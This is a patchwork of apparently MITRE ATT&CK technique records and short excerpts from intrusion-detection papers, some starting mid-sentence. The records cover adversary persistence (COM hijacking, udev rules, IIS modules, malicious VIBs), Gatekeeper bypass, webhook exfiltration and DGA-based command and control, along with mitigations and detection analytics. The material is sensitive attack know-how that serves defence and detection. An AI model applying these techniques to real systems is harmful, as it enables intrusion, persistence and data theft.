Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched.\n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `/sbin/emond` will load any rules from the `/etc/emond.d/rules/` directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the Launch Daemon configuration file at`/System/Library/LaunchDaemons/com.apple.emond.plist`.\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.

COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.\n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers. This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content’s process in the background to bypass these controls.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Network Intrusion Detection Systems (NIDS) monitor a network with the aim of discerning malicious from benign activity on that network. While a wide range of approaches have met varying levels of success, most IDS’s rely on having access to a database of known attack signatures which are written by security experts. Nowadays, in order to solve problems with false positive alerts, correlation algorithms are used to add additional structure to sequences of IDS alerts. However, such techniques are of no help in discovering novel attacks or variations of known attacks, something the human immune system (HIS) is capable of doing in its own specialised domain. This paper presents a novel immune algorithm for application to an intrusion detection problem. The goal is to discover packets containing novel variations of attacks covered by an existing signature base.\n\n**1 Introduction.** Network intrusion detection systems (NIDS) are usually based on a fairly low level model of network traffic. While this is good for performance it tends to produce results which make sense on a similarly low level which means that a fairly sophisticated knowledge of both networking technology and infiltration techniques is required to understand them. Intrusion alert correlation systems attempt to solve this problem by postprocessing the alert stream from one or many intrusion detection sensors (perhaps even heterogeneous ones). The aim is to augment the somewhat onedimensional alert stream with additional structure. Such structural information clusters alerts in to “scenarios” - sequences of low level alerts corresponding to a single logical threat. A common model for intrusion alert correlation algorithms is that of the attack graph. Attack graphs are directed acyclic graphs (DAGs) that represent the various types of alerts in terms of their prerequisites and consequences. Typically an attack graph is created by an expert from a priori information\n\nabout attacks. The attack graph enables a correlation component to link a given alert with a previous alert by tracking back to find alerts whose consequences imply the current alerts prerequisites. Another feature is that if the correlation algorithm is run in reverse, predictions of future attacks can be obtained. In implementing basic correlation algorithms using attack graphs, it was discovered that the output could be poor when the underlying IDS produced false negative alerts.

Networking Overview.** In the networks, TCP/IP is widely used for network communications, which are composed of four layers: application layer, transport layer, network layer, and hardware layer that work together [19]. When data transfers across the networks, the data passes from the highest layer through intermediate layers to the lowest layer. The lowest layer sends the accumulated data to its destination through the physical network. Application layer sends and receives data for particular applications, such as DNS, HTTP, FTP, SMTP, and SNMP. It enables applications to transfer data between server and client, and passes application data to the transport layer. Transport layer is responsible for packaging data using TCP (Transmission control protocol) and UDP (user datagram protocol) so that it can be transmitted between hosts. Each TCP or UDP packet has a source port and a destination port number. Network layer or internet protocol (IP) layer is in charge of handling the addressing and routing of data received from the transport layer. After the network layer has encapsulated the transport layer data, the resulting logical units are referred to as packets. Each packet contains a header, which is composed of various fields. Commonly used network layer protocols are IPv4, IPv6, ICMP (internet control message protocol), and IGMP (internet group management protocol). It is also responsible for providing error and status information involving the addressing and routing of data. Hardware layer or data link layer tackles communications on the physical network components including cables, routers, switches, and network interface cards (NIC). The best known hardware layer protocol is Ethernet. Ethernet relies on the concept of a media access control (MAC) address, which is a unique six-byte value (such as 00-02-B4-DA-92-2C) permanently assigned to a particular NIC.\n\n14\n\n**2.2. Intrusion Detection Overview.** Intrusion detection is the process of monitoring and analyzing the events in computer systems or networks to discover the signals of possible incidents, which attempt to compromise the confidentiality, integrity, and availability of computer resources. In general, IDS use misusebased and anomaly-based detection model for detecting intrusions. […]\n\n## Reference: Dense-Coding Attack on Three-Party Quantum Key Distribution Protocols\n**L. K.

A main advantage of an MSC is its clear graphical layout which immediately gives an intuitive understanding of the described system behavior [9]. MSCs are particularly suited to describe the distributed telecommunication software [10], [11]. The wide ranges of use of MSCs are usually in the distributed systems and in a number of software methodologies [11], [12], [13]. In a distributed system, MSCs mainly concentrate on the exchange of messages among various processes and their environments as well as some internal actions in these processes. MSCs are also known as object interaction diagrams, timing sequence diagrams and message flow diagrams. In MSCs, the executing processes are shown by the vertical lines; these processes communicate through an explicit message passing (send-receive) among them shown by the horizontal or downward sloped arrow lines. The head of the arrow indicates the event message-receiving and the opposite end indicates the event message-sending. Each send-receive event (horizontal or downward sloped line) is labeled by the message identifier. For more clear understanding the MSC may also contain necessary data attributes as part of the message exchanged. A simple MSC is shown in the following Fig. 1 where there are two processes namely ‘CPU’ and ‘Memory’.\n\nTime flows downward in each vertical line of MSCs.

Bengal Intelligent Park, Salt Lake Electronic Complex, Kolkata 700091, INDIA\n\nAbstract: Since it is impossible to predict and identify all the vulnerabilities of a network beforehand, and penetration into a system by malicious intruders cannot always be prevented, intrusion detection systems (IDSs) are essential entities to ensure the security of a networked system. To be effective in carrying out their functions, the IDSs need to be accurate, adaptive, and extensible. Given these stringent requirements and the high level of vulnerabilities of the current days’ networks, the design of an IDS has become a very challenging task. Although, an extensive research has been done on intrusion detection in a distributed environment, distributed IDSs suffer from a number of drawbacks e.g., high rates of false positives, low detection efficiency etc. In this paper, the design of a distributed IDS is proposed that consists of a group of autonomous and cooperating agents. In addition to its ability to detect attacks, the system is capable of identifying and isolating compromised nodes in the network thereby introducing fault-tolerance in its operations. The experiments conducted on the system have shown that it has a high detection efficiency and low false positives compared to some of the currently existing systems.\n\nnetwork, MSBN, Fault-tolerance, Multi-agent systems, Byzantine agreement protocol, Distributed trust management.\n\n**1. Introduction.** There have been two different approaches for securing networks and host computers from malicious attackers: i) intrusion prevention mechanisms that include cryptographic techniques to safeguard sensitive information from unauthorized access, ii) intrusion detection mechanisms that recognize an ongoing attack on a system and respond appropriately to thwart such intrusive attempts. An intrusion detection system (IDS) is a security mechanism that can monitor and detect intrusions to the computer systems in real time. An IDS can be either host-based (sources of data are operating systems and applications audit trails), or networkbased (monitor and analyze network traffic), or a combination of both these types. Conventional approaches to intrusion detection involving a central unit to monitor an entire system have several disadvantages [1].

Transport agents can be written by application developers and then compiled to.NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.\n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events. Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria.

IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: `Get{Extension/Filter}Version`, `Http{Extension/Filter}Proc`, and (optionally) `Terminate{Extension/Filter}`. IIS modules may also be installed to extend IIS web servers.\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters.

Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.\n\nWindows Services that are run as a \"generic\" process (ex: `svchost.exe`) load the service's DLL file, the location of which is stored in a Registry entry named `ServiceDll`. The `termsrv.dll` file, typically stored in `%SystemRoot%\\System32\\`, is the default `ServiceDll` value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts. Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal `termsrv.dll` functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent Remote Desktop Protocol sessions by either patching the `termsrv.dll` file or modifying the `ServiceDll` value to point to a DLL that provides increased RDP functionality. On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.\n\n**Classification.** - Tactics: persistence\n- Platforms: Windows\n- Sub-technique of: T1505 Server Software Component - Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. […]\n\n## Reference: ATT&CK T1505.006 vSphere Installation Bundles\n**ATT&CK T1505.006 vSphere Installation Bundles (full record).** Adversaries may abuse vSphere Installation Bundles (VIBs) to establish persistent access to ESXi hypervisors. VIBs are collections of files used for software distribution and virtual system management in VMware environments. Since ESXi uses an in-memory filesystem where changes made to most files are stored in RAM rather than in persistent storage, these modifications are lost after a reboot. However, VIBs can be used to create startup tasks, apply custom firewall rules, or deploy binaries that persist across reboots. Typically, administrators use VIBs for updates and system maintenance.\n\nVIBs can be broken down into three components:\n\n* VIB payload: a `.vgz` archive containing the directories and files to be created and executed on boot when the VIBs are loaded.\n* Signature file: verifies the host acceptance level of a VIB, indicating what testing and validation has been done by VMware or its partners before publication of a VIB. By default, ESXi hosts require a minimum acceptance level of PartnerSupported for VIB installation, meaning the VIB is published by a trusted VMware partner. However, privileged users can change the default acceptance level using the `esxcli` command line interface. Additionally, VIBs are able to be installed regardless of acceptance level by using the ` esxcli software vib install --force` command.\n* XML descriptor file: a configuration file containing associated VIB metadata, such as the name of the VIB and its dependencies.\n\nAdversaries may leverage malicious VIB packages to maintain persistent access to ESXi hypervisors, allowing system changes to be executed upon each bootup of ESXi – such as using `esxcli` to enable firewall rules for backdoor traffic, creating listeners on hard coded ports, and executing backdoors. Adversaries may also masquerade their malicious VIB files as PartnerSupported by modifying the XML descriptor file. […]\n\n## Reference: ATT&CK T1509 Non-Standard Port\n**ATT&CK T1509 Non-Standard Port (full record).** Adversaries may generate network traffic using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Android, iOS\n\n**Detection strategies and analytics.** - **Detection of Non-Standard Port**\n - For Android, detect Non-Standard Port by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Boot Integrity**: Boot Integrity ensures that a system starts securely by verifying the integrity of its boot process, operating system, and associated components. This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence.

SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background. In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.\n\n**Classification.** - Tactics: impact\n- Platforms: SaaS\n- Sub-technique of: T1496 Resource Hijacking - Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles.

These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.\n\nThere are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.\n\nAdversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.\n\nAdversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.\n\n**Classification.** - Tactics: persistence\n- Platforms: Android\n\n**Mitigations.** - **Security Updates**: Install security updates in response to discovered vulnerabilities.\n- **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Perform periodic integrity checks of the device to validate the correctness of the firmware, software, programs, and configurations. Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.\n- **Code Signing**: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.\n\n## Detection strategies and analytics\n- **Detection of Modify Controller Tasking**\n - Real-time monitoring identifies an Industrial Control System (ICS) protocol write to a controller's task/organization-block configuration from a source not in the approved engineering workstation list, correlated against post-modification cycle timing deviation.

This can allow an adversary to manipulate the execution flow and behavior of a controller.\n\nAccording to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append.\n\nTasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the task, Organization Block 1 (OB1).\n\n## Reference: ATT&CK DET0716 Detection of Linked Devices\n**Detects.** -

By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves.\n\n## Reference: ATT&CK T0802 Automated Collection\n**ATT&CK T0802 Automated Collection (full record).** Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device.

Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary's goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point.\n\nAdversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment or damage to downstream equipment.\n\n**Classification.** - Tactics: impair-process-control\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device.

The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process.\n\nData destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident.\n\nStandard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.\n\n**Classification.** - Tactics: inhibit-response-function\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.\n- **Data Backup**: Take and store data backups from end user systems and critical servers.

This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases in the process environment, as well as databases in the corporate network that might contain information about the ICS.\n\nInformation collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS.\n\nIn a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string SCAD*, user credentials, and remote dial-up access information.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.\n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data. Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: ESXi, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1567 Exfiltration Over Web Service - Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.\n\n**Mitigations.** - **Data Loss Prevention**: Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization.

This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Windows\n\n**Sub-techniques.** - T1568.001 Fast Flux DNS: Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution.\n- T1568.002 Domain Generation Algorithms: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or dom.\n- T1568.003 DNS Calculation: Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or t.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **Restrict Web-Based Content**: Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors.

[…]\n\n## Reference: ATT&CK T1568.001 Fast Flux DNS\n**ATT&CK T1568.001 Fast Flux DNS (full record).** Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Linux, macOS, Windows, ESXi\n- Sub-technique of: T1568 Dynamic Resolution - Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.

Correlate with process lineage (e.g., Office apps spawning abnormal DNS lookups). (telemetry: WinEventLog:Sysmon:EventCode=3, 22, WinEventLog:Security:EventCode=1)\n - Monitor resolver logs and auditd events for domains resolving to a rotating set of IPs within very short TTL intervals.

[…]\n\n## Reference: ATT&CK T1568.002 Domain Generation Algorithms\n**ATT&CK T1568.002 Domain Generation Algorithms (full record).** Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.\n\nAdversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Windows\n- Sub-technique of: T1568 Dynamic Resolution - Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.

Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms.

[…]\n\n## Reference: ATT&CK T1553.001 Gatekeeper Bypass\n**ATT&CK T1553.001 Gatekeeper Bypass (full record).** Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Stealth), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.

Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Validate Program Inputs**: Devices and programs designed to interact with control system parameters should validate the format and content of all user inputs and actions to ensure the values are within intended operational ranges. These values should be evaluated and further enforced through the program logic running on the field controller.\n\n## Detection strategies and analytics\n- **Detection of Modify Parameter**\n - Real-time monitoring identifies an Industrial Control System (ICS) protocol write to a parameter/setpoint register where the written value falls outside the documented safe operating range, or where the write originates from a source not in the approved write-source list, correlated with subsequent historian tag drift.

In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS\n- Sub-technique of: T1578 Modify Cloud Compute Infrastructure - An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.

These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional Resource Hijacking without raising suspicion by using up a victim’s entire quota. Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling Unused/Unsupported Cloud Regions.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS\n- Sub-technique of: T1578 Modify Cloud Compute Infrastructure - An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.

